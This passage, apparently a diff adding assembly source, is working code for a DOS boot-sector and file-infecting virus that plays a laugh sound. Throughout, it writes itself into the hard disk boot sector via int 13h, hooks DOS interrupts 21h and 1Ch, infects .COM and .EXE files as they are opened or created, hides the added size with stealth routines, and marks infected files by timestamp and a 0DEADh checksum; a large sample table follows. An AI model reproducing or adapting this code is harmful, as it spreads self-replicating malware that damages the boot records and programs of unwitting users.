mov si,offset BootSector ; compare with infected code + xor di,di + mov cx,1*BootSize + cld + repe cmpsb + je BootOk ; equal ? + mov di,1beh+8 ; check partitions, we don't + mov cx,4 ; want to overwrite them +NextPartition: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],(VirusSize+1ffh)/200h+1 + ja SectOk + cmp word ptr es:[di],0 + ja BootOk +SectOk: add di,10h + loop NextPartition + mov si,offset BootSector ; exchange code from bootsector + xor di,di ; with viral code + mov cx,1*BootSize + cld + call Swapsb + push es ; write virus to disk + pop ds + push cs + pop es + mov ax,(VirusSize+1ffh)/200h+300h + mov cx,2 + int 13h + push ds + pop es + push cs + pop ds + jc BootOk ; error ? + mov ax,301h ; write bootsector to disk + mov cx,1 + int 13h +BootOk: pop cx ; restore bx and cx + pop bx + mov dx,cs ; dx = destenation segment + xor di,di + push es ; push seg:ofs of mover + push di + push cx ; save cx + mov cx,1*MoverSize + mov si,offset Mover + cld ; copy mover-procedure + rep movsb + pop cx ; restore cx + cli ; disable interrupts + retf ; jump to mover + +Mover: mov ax,cx ; save cx + mov ds,bx ; ds:si = source + mov es,dx ; es:di = destenation + xor si,si + xor di,di + mov cx,8h ; copy one paragraph + rep movsw + inc bx + inc dx + mov cx,ax ; restore cx + loop Mover ; next paragraph + mov ss,bp ; ss = new stacksegment + sti ; enable interrupts + pop es ; restore registers + pop ds + pop ax + iret ; jump to program + +MoverSize equ ($-Mover) + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: cli ; disable interrupts + xor bx,bx ; setup stack and ds + mov ds,bx + mov ss,bx + mov sp,7c00h + sti ; enable interrupts + mov ax,ds:[413h] ; get size of base memory + sub ax,(VirusSize+3ffh)/400h; subtract virussize + mov ds:[413h],ax ; store new memory size + mov cl,6 ; calculate segment + shl ax,cl + mov es,ax ; load virus in reserved mem + mov ax,(VirusSize+1ffh)/200h+200h + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp ; bx=offset startup + push es ; jump to startup (es:bx) + push bx + retf + +BootSize equ ($-Bootsector) ; size of bootsector part + +StartUp: cli ; disable interrupts + mov ax,offset Interrupt1C ; hack interrupt 1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:OldInt21o,-1 + mov cs:OldInt21s,-1 + mov cs:Count,-1 + sti ; enable interrupts + push cs ; ds=cs + pop es + mov si,7c00h ; di=7c00h (Bootsector) + mov di,offset BootSector ; si=BootSector + mov cx,1*BootSize ; bytes to copy + cld ; copy forward + call Swapsb ; restore orginal boot + mov ax,7c00h ; offset bootsector + push ds ; jump to bootsector + push ax + retf + +Interrupt8: push ax ; save registers + push si + push ds + push cs + pop ds + mov si,SampleOffset ; get offset of next bit + dec byte ptr ds:SampleBit + test byte ptr ds:SampleBit,7 + jnz OfsOk + inc si + cmp si,offset SampleEnd ; end of sample ? + jb OfsOk ; no, play bit + mov al,34h ; reset int 8 frequency + out 43h,al + xor ax,ax + out 40h,al + out 40h,al + mov ds,ax ; reset int 8 vector + mov ax,cs:OldInt8o + mov ds:Int8o,ax + mov ax,cs:OldInt8s + mov ds:Int8s,ax + inc byte ptr cs:SampleFlag ; set sample ready flag + jmp short ExitInt8 ; end of interrupt +OfsOk: mov SampleOffset,si ; store offset + rol byte ptr ds:[si],1 ; next bit + mov ah,ds:[si] ; get bit value + and ah,1 + shl ah,1 + in al,61h ; get value of io-port 61h + and al,0fch ; reset last 2 bits + or al,ah ; set bit 2 with sample value + out 61h,al ; write to io-port 61h +ExitInt8: mov al,20h ; end of interrupt signal + out 20h,al + pop ds ; restore registers + pop si + pop ax + iret ; return to program + +Interrupt1C: push ds ; save registers + push ax + push bx + xor ax,ax ; interrupts vectors + mov ds,ax + mov ax,ds:Int21o + cmp cs:OldInt21o,ax + jne Changed + mov ax,ds:Int21s + cmp cs:OldInt21s,ax + je Equal +Changed: mov ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Count,182 + jmp short NotReady +Equal: dec cs:Count + jnz NotReady + mov ax,cs:OldInt1Co ; restore vector 1C + mov ds:Int1Co,ax ; (This interrupt) + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 ; Hack interrupt 21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov ax,16 + mov bx,offset Handle +NextHandle: mov byte ptr cs:[bx],0 + inc bx + dec ax + jnz NextHandle + mov byte ptr cs:Active,-1 +NotReady: pop bx + pop ax ; restore registers + pop ds + jmp cs:OldInt1C ; do orginal int 1C + +Swapsb: mov al,es:[di] ; exchange two memory bytes + xchg al,ds:[si] + stosb + inc si + loop Swapsb ; next byte + ret ; return + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset DosVersion + db 3ch ; 4 + dw offset Open + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 45h ; 8 + dw offset Duplicate + db 46h ; 9 + dw offset Redirect + db 4eh ; 10 + dw offset Find + db 4fh ; 11 + dw offset Find + db 5bh ; 12 + dw offset Open + db 6ch ; 13 + dw offset OpenCreate + +FunctionCount equ 13 + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +DosVersion: push ax + push cx + push dx + push ds + push cs + pop ds + cmp cs:Active,0 + je NotActive + mov ah,2ah + call DOS + cmp ActiveYear,cx + jb NotActive + cmp ActiveDate,dx + jb NotActive + cli + xor ax,ax + mov ds,ax + mov ax,offset Interrupt8 + xchg ax,ds:Int8o + mov cs:OldInt8o,ax + mov ax,cs + xchg ax,ds:Int8s + mov cs:OldInt8s,ax + mov al,34h + out 43h,al + mov al,80h + out 40h,al + mov al,0 + out 40h,al + push cs + pop ds + mov byte ptr SampleFlag,0 + mov byte ptr SampleBit,0 + mov word ptr SampleOffset,offset SampleData + sti +Delay: cmp byte ptr SampleFlag,0 + je Delay + mov byte ptr Active,0 +NotActive: pop ds + pop dx + pop cx + pop ax + jmp Old21 + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize + sbb word ptr es:[bx+1eh],0 ; adjust file-size + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize + sbb word ptr es:[bx+1ch],0 ; change file-size +Time: xor byte ptr es:[bx+16h],1fh; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + push bx + call FindHandle + pop bx + jc Old21 +Stealth: or al,al ; seek from top of file ? + jnz Relative ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Relative: call DOS ; Execute orginal int 21h + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + push ax + push cx + push dx + push si + push ds + push cs ; ds=cs + pop ds + push bx + call FindHandle + mov si,bx + pop bx + jc DoNotUpdate + mov word ptr ds:[si],0 + cmp byte ptr ds:[si+2],0 + je DoNotUpdate + call UpdateHeader +DoNotUpdate: pop ds ; restore registers + pop si + pop dx + pop cx + pop ax +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je FunctionTrap + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: jmp cs:OldInt21 + +FunctionTrap: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,[bp+4] + mov cx,[bp+10] + xchg cx,[bp+2] + pop bp + popf + ret + +Duplicate: call DOS + jc Error + pushf + push bx + push dx + call FindHandle + jc Ret3 + mov dl,cs:[bx+2] + mov bx,ax + call StoreHandle +Ret3: pop dx + pop bx + popf + jmp Ret2 + +Redirect: call DOS + jc Error + pushf + push bx + push cx + xchg bx,cx + call FindHandle + jc Ret4 + mov cs:[bx],cx +Ret4: pop cx + pop bx + popf + jmp Ret2 + +OpenCreate: or al,al ; extended open/create function + jne Old21 ; no, do orginal interrupt 21 + push dx ; save dx + mov dx,si ; check extension of filename + call CheckName + pop dx ; retore dx + jc Old21 ; exe or com-file? + jmp short ExtensionOk ; yes, infect file or use + ; stealth + +Open: call CheckName ; exe or com-file ? + jc Old21 ; no, do orginal int 21 +ExtensionOk: call DOS ; do interrupt 21 + jnc NoError ; error ? +Error: jmp Ret2 ; yes, return and do nothing +NoError: pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; bx = file handle + mov ax,4400h ; get device information + call DOS + jc PopRet ; error ? + test dx,80h ; character device + jnz PopRet ; yes, return and do nothing + call EndOfFile ; get file size + or ax,dx ; 0 ? + jnz FileExists ; no, file already existed +FileCreated: call HandleFree + jc PopRet + mov ah,2ah + call DOS + add dh,3 + cmp dh,12 + jbe DateOk + inc cx + sub dh,12 +DateOk: mov ActiveYear,cx + mov ActiveDate,dx + mov ah,40h ; write virus to file + mov cx,VirusSize + call Zero2 + jc NoVir ; error ? yes, return + xor ax,cx ; entire virus written ? + jnz NoVir ; no, return + mov dl,1 + call StoreHandle + jmp short PopRet ; return +FileExists: call TopOfFile ; go to top of file + call HandleFree + jc PopRet ; no, do nothing + call ReadHeader ; read exe-header + jc NoVir ; error ? + xor ax,cx ; entire header read + jne NoVir ; no, not infected + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,ax ; headersize = 0 ? + jne NoVir ; no, not infected + cmp CheckSum,0DEADh ; checksum = DEAD hex + jne NoVir ; no, not infected + mov dl,0 + call StoreHandle + mov dx,VirusSize ; seek to end of virus + jmp short Infected +NoVir: xor dx,dx +Infected: xor cx,cx ; go to end of virus if file + mov ax,4200h ; is infected + call DOS +PopRet: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +;------------------------------------------------------------------------------ + +EndOfFile: mov ax,4202h ; go to end of file + jmp short Zero1 + +TopOfFile: mov ax,4200h ; go to top of file +Zero1: xor cx,cx + jmp short Zero2 + +WriteHeader: mov ah,40h ; write exe-header to file + jmp short Hdr + +ReadHeader: mov ah,3fh ; read exe-header from file +Hdr: mov cx,1eh +Zero2: xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +FindHandle: push ax + push cx + mov ax,bx + mov bx,offset Handle + mov cx,8 +NotFound: cmp ax,cs:[bx] + je Found + inc bx + inc bx + inc bx + loop NotFound + stc +Found: pop cx + pop ax + ret + +HandleFree: push bx + xor bx,bx + call FindHandle + pop bx + ret + +StoreHandle: push bx + push bx + xor bx,bx + call FindHandle + pop cs:[bx] + mov cs:[bx+2],dl + pop bx + ret + +CheckName: push ax ; check for .exe or .com + push cx ; save registers + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp short EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName: cmp ah,1 ; point found = 0 + jne NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + mov cx,ax + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp cx,04f43h ; extension = .com ? + jne NotCom + cmp al,04dh + je ChkRet +NotCom: cmp cx,05845h ; extension = .exe ? + jne NotExe + cmp al,045h + je ChkRet +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +UpdateHeader: mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + cmp Signature,5a4dh + je InfectExe +InfectCom: mov Signature,5a4dh + mov ReloOffset,01ch + mov OverlayNr,0 + mov ExeSS,(VirusSize-100h)/10h + mov ExeSP,0fffeh + call EndOfFile + sub ax,VirusSize + sbb dx,0 + mov ComSize,ax + mov cx,10h + div cx + sub dx,1 + mov dx,0ff2h+20h + sbb dx,ax + mov MinMem,dx + jmp WriteIt +InfectExe: mov ComSize,-1 + mov ax,(VirusSize/10h) + add ax,HeaderSize + add ExeSS,ax + add MinMem,20h + add MaxMem,20h + jnc MaxOk +WriteIt: mov MaxMem,0ffffh +MaxOk: mov ReloCount,0 + mov HeaderSize,0 + mov CheckSum,0DEADh + mov ExeCS,0 + mov ExeIP,offset Main + call EndOfFile + mov cx,200h + div cx + mov PartPage,dx + add dx,-1 + adc ax,0 + mov PageCount,ax + call TopOfFile + call WriteHeader ; write header at the top of + jc InfErr ; the virus + mov ax,5700h + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: ret + +;------------------------------------------------------------------------------ +; +; Data to generate the Laugh sound +; +;------------------------------------------------------------------------------ + +SampleData db 249,220,204,102, 51, 51,116,102,227, 6, 28,216,243,129,131, 54 + db 140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193 + db 230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241 + db 54, 71,254, 46, 8,255,139,227, 59,196,241, 49,198,208,243,205 + db 193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113 + db 144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120 + db 25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25 + db 197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60 + db 76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193 + db 241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68 + db 193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24, 6, 24,176 + db 231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56 + db 115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121 + db 156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97 + db 142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100 + db 199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131 + db 112,196, 31, 14, 51,225,225, 56,110, 1,206, 51,147,110, 15,129 + db 252,127, 7,113,184, 29,135,192,236, 62, 7,227,224,127, 31, 3 + db 176,240, 63,143, 1,216,248, 29,143,131,184,248, 63, 15,131,112 + db 248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35 + db 184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226 + db 217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76 + db 115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230 + db 217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26 + db 14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99 + db 188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110 + db 19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44 + db 113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127 + db 193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28 + db 103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31 + db 134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153 + db 197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207 + db 76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127 + db 19,185,222,115,241,230, 31,129,224,252, 15, 7,225,248, 62, 15 + db 131,224,120, 62, 7,129,240,120, 30, 7,129,224,124, 62,135,135 + db 145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15, 3,227 + db 228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116 + db 118, 14, 7,193,224,248, 60, 31, 7,195, 96,232,108, 28, 13,131 + db 147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216 + db 152, 63, 27, 15,195,193,248,124, 63, 15, 7,224,240,254, 30, 14 + db 227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112 + db 230, 88,207,193,179, 59,135, 99,198, 12,204,241,219, 7, 19,240 + db 228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120 + db 220, 19,140,131,176,116, 79,131,129,204,124, 31, 3,193,249,204 + db 140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31 + db 15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33 + db 216,248, 57, 31, 6,102,120,207, 28,216, 14, 6, 99, 96,204, 60 + db 121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179 + db 148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153 + db 206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28 + db 23,131,120, 62, 15,225,248, 63, 7,193,240,126, 15,129,224,124 + db 31, 7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15 + db 135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124 + db 15,135,193,248,248, 31, 31,131,225,240, 62, 31, 3,131,240,120 + db 59, 15, 3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55 + db 143,195,248,240, 63,143, 3,184,249, 27,199,161,252, 57, 31,195 + db 193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62 + db 199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192 + db 248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216 + db 126, 27,135,201,226, 28, 70, 13,226,112,124, 71, 3,231,188, 78 + db 30, 24,227,241,234, 62, 15,161,248, 62, 15, 7,112, 90, 99,112 + db 230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58 + db 47,143,113,206, 51,198,192,126, 62, 15, 7, 97,236, 62, 31, 7 + db 240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152 + db 243, 60, 31, 7,129,216, 28, 7, 12,211,188,124, 7, 39,192,116 + db 119, 14,195,156,120,188, 7,195,192,239, 31,131,196,120,220, 19 + db 204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28 + db 207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133 + db 248,242, 14,199,192,251, 31, 2,236,249, 31,115,228, 29,139,160 + db 236, 89, 7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53 + db 196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144 + db 230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230 + db 60,199,136,115,143, 1,198, 60,103,140,113,142, 56,211, 30,120 + db 240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230 + db 60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184 + db 159,142,112,238, 57,145,231, 9,199,217,134,100,108, 3,163,248 + db 110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113 + db 198,112,227, 57,199, 4,193,204,115,142, 35, 12,219,156,118, 92 + db 203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108 + db 205,159, 99, 46,237,217, 51, 39,204, 28, 7, 12,120, 28,115,206 + db 124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51 + db 195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241 + db 63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31 + db 3,192,240, 62, 15,193,240,120, 31, 3,225,240, 62, 31, 3,224 + db 240, 63, 15, 3,224,240, 63, 31, 7,225,240,126, 63, 7,225,248 + db 126, 31,135,225,220,110, 29,227,112,207, 27, 7,124,111, 28,241 + db 190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126 + db 28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126 + db 31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17 + db 199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197 + db 192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71 + db 102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230 + db 49,140,115, 28, 3,160,224, 60, 71,131,226,248,156, 51,131,113 + db 248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56 + db 215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57 + db 199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191, 7,195 + db 232,126, 31, 3,240,252, 61,143,225,204,127, 14, 99,252,115,143 + db 227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143 + db 199,216, 60,199, 33,248,121,143, 1,198, 57,198,204,227,156,224 + db 126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14 + db 49,131, 92,197,206,120,238, 17,200,121, 7, 25,196, 24,222, 7 + db 0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224 + db 220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103 + db 35,182,113,133,225,188, 14,131,182, 62,121, 51, 7, 44,227, 25 + db 223, 24,228, 79,199,192,124, 15, 0,226,120,153, 49,202, 26, 39 + db 113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29 + db 25,200,113,155,153, 62, 30, 3,168,113, 30, 1,195, 48, 76,127 + db 142, 99, 29,175, 57,142,195,243,220, 24,142, 3,136,248, 30, 19 + db 70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31, 3,193 + db 216, 57,142,113,206, 57,177,183,121,185, 3,248,206, 11,156,115 + db 129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118 + db 31,193,216,127, 7,113,126, 29,199,248,127, 15,224,252, 63,195 + db 184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156 + db 115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28 + db 227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15 + db 222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204 + db 224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198 + db 7, 2, 57,207, 12,113,198, 56,249,193,220,115, 7, 3,225,240 + db 30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142 + db 49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30, 7,145 + db 249, 14, 1,224, 61,131,240,115, 14, 65,248,121, 7,160,230, 63 + db 195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115 + db 135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113 + db 156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127 + db 15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152 + db 61, 6,120,207, 3,248,158, 7,240, 62, 67,224,124, 15,224,252 + db 143,192,241, 31,129,226, 62, 7,192,252, 31,129,248, 63, 7,240 + db 124, 15,193,248, 63, 7,224,254, 31,193,248, 63, 7,240,254, 15 + db 193,252, 63,131,240, 63, 7,224,126, 31,193,252, 63,131,248,190 + db 7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120 + db 227, 14, 48,248, 15,128,252, 31,195,248,103, 3,241,220, 7,195 + db 248,127,135,240,126, 15,224,252, 31,129,248, 63, 7,240,120, 15 + db 128,240, 63, 15,224,254, 31,193,248, 31, 3,225,246, 31,195,220 + db 63,131,240, 63,131,224,126, 7,224,252, 31,195,252, 62, 7,248 + db 124, 15,177,248, 15, 3,240,254, 7,128,248, 15, 1,248, 30, 7 + db 192,124, 15,129,242, 59,131,192,116, 30, 3,232,126, 7,224,254 + db 7,192,252,103, 3,152,244, 23, 3,224, 60, 7,194,188, 7,129 + db 252, 47, 7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15 + db 1,248, 31,135,240,255, 15,225,248, 31,131,248,124, 3,240,124 + db 15,129,240, 31, 3,224,125, 7,160,126, 15,192,230, 28,227,136 + db 120, 7,176,244, 30,193,240, 61, 7,176,246, 14, 1,200, 28, 3 + db 128, 60, 7,134,120, 79,129,248,127, 7,230,120,199,152,225, 14 + db 115,192, 57,199, 28,115, 7, 25,254, 78,231, 59,221,200, 15,204 + db 156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147 + db 114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136 + db 159,176, 7,254, 1,127,192, 31,252, 1,255,128, 31,230, 65,254 + db 0,127,216, 19,254, 1,127, 32, 15,248, 1,255,192, 31,248, 3 + db 254, 0,255,192, 31,248, 1,255,128, 31,224, 7,252, 9,190, 96 + db 15,236, 9,255, 0,159,176, 7,251, 2,127,128, 31,216, 11,252 + db 129,191,144, 15,252, 3,255,128, 63,228, 13,254, 0,255,240, 7 + db 254, 1,191,192, 31,252, 1,255, 0,127,248, 19,127,129, 63,228 + db 15,254, 0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201 + db 191,224, 25,179, 32, 79,236,137,255,192, 79,254, 0,255,200, 23 + db 249, 32,155,108,130,102, 76,200,204,222, 4,166,251, 19, 32, 31 + db 236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166 + db 219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201 + db 153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66 + db 123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54 + db 108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108 + db 147, 51, 33,147,108,200,155,177, 37,179,102, 3,237,140,154,136 + db 155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79 + db 252, 4,255,128, 63,240, 7,255, 19,119,233, 19, 51, 34, 55,120 + db 2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216, 7 + db 243, 19,124,204,137,190, 3,246,115, 51, 38,100,219, 96, 59, 62 + db 68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19 + db 236,131,127,241, 3,252,205,222, 25,153,255,145, 62, 3,102, 76 + db 217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196 + db 27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79 + db 100,178,100,205,143,236, 25,147,120,129,248, 3,252,146,220,132 + db 216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147 + db 38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179 + db 97,230,109,147,110, 38,121, 48,227, 64,204,198, 7, 14,108, 76 + db 184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104 + db 243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54 + db 126, 89, 60,217,102,195, 39,131, 79, 7,156, 38,121, 48,112,217 + db 225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108 + db 61,200,134, 79, 46,192,221, 3,255, 17,240,255,240, 62, 13,254 + db 19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194 + db 120, 63, 1,248,188, 15,113,116, 27, 7, 51,204,115, 30,230, 59 + db 133,241, 60, 7,145,236,206,195,184,222, 3,137,242, 60,140, 99 + db 228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63, 7,216 + db 254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135 + db 198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204 + db 19,141,195, 56,143,129,252, 7,167,241, 61,140,225,156, 3,136 + db 114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23, 1,248,198 + db 48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217 + db 253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187, 6 + db 244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100 + db 147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109 + db 130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39 + db 152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243 + db 46, 49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129 + db 144, 25,135,185,156, 63,152,202, 59,135, 